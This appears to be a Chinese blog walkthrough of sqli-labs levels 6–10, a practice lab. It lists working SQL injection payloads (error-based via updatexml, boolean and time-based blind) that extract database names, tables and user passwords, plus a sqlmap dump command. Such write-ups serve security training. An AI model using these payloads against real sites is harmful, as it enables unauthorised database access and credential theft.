Sql-labs(6-10)

admin 2022年3月31日12:20:38评论54 views字数 1384阅读4分36秒阅读模式

Less-6

  • 第六关,通过判断,是双引号报错,再进行-- -注释;

id=6"-- -

Sql-labs(6-10)


  • 进行报错注入,原理同上;

id=6" and updatexml(1,concat(1,database(),0x7e),1)-- -id=6" and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -id=6" and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -id=6" and updatexml(1,concat(1,(select (username) from users limit 0,1),0x7e),1)-- -id=6" and updatexml(1,concat(1,(select (password) from users limit 0,1),0x7e),1)-- -

Sql-labs(6-10)


Sql-labs(6-10)


Sql-labs(6-10)


Sql-labs(6-10)


Sql-labs(6-10)



Less-7

  • 第七关,这边发现,没有回显,只有ture和false;这边通过判断发现单引号会报错,那么尝试注释,发现还是不行,说明没闭合,那就加括号尝试,发现'))-- -显示为ture

id=7'))-- -

Sql-labs(6-10)


  • 这里只能用盲注,盲注有时间盲注和布尔盲注,这里使用布尔盲注进行测试

  • if(判断语句,1,0);if判断语句,ture则输出1,false则输出0;

id=7')) and if (substring(database(),1,1)="s",1=1,1=2)-- -

Sql-labs(6-10)


Sql-labs(6-10)


  • 同理可以测出所有信息,这里就不一一测了,上sqlmap;sqlmap的安装教程自行百度

python sqlmap.py -u "http://ip:55209/Less-7/?id=7" --dump

Sql-labs(6-10)


Sql-labs(6-10)


Sql-labs(6-10)



Less-8

  • 第八关 一开始还是先用单引号报错再注释,看能否闭合

Sql-labs(6-10)


  • 找到注入点,进行注入测试,无回显,使用盲注

//数据库的第一个字符是 s?id=8' and if (ascii(substring(database(),1,1))>114,1=1,1=2)-- -

Sql-labs(6-10)


  • 同理就可以测出数据库名、表名、字段名、账户密码等,这里就直接用sqlmap跑出来;

Sql-labs(6-10)



Less-9

  • 第九关 找注入

?id=1' and if (1=1,sleep(10),1=1)-- -

Sql-labs(6-10)


  • 制定payload进行注入

?id=1' and if (ascii(substring(database(),1,1))>114,sleep(10),1=1)-- -

Sql-labs(6-10)


Sql-labs(6-10)


  • 由此可以判断出数据库的名称、表名、字段名、账户密码等敏感信息,这里用sqlmap跑一下

Sql-labs(6-10)


Less-10

  • 这里还是用老方法进行测试,无回显。用时间盲注测试找到payload

?id=1" and if(1=1,sleep(10),1=1)-- -

Sql-labs(6-10)


  • 制作payload进行测试

//测出数据库名第一个ascii值为115;?id=1" and if(ascii(substring(database(),1,1))>114,sleep(10),1=1)-- -

Sql-labs(6-10)


  • 这里不一一测了,使用sqlmap跑一下

Sql-labs(6-10)


原文始发于微信公众号(SUMMER渗透学习):Sql-labs(6-10)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月31日12:20:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sql-labs(6-10)http://cn-sec.com/archives/857865.html

发表评论

匿名网友 填写信息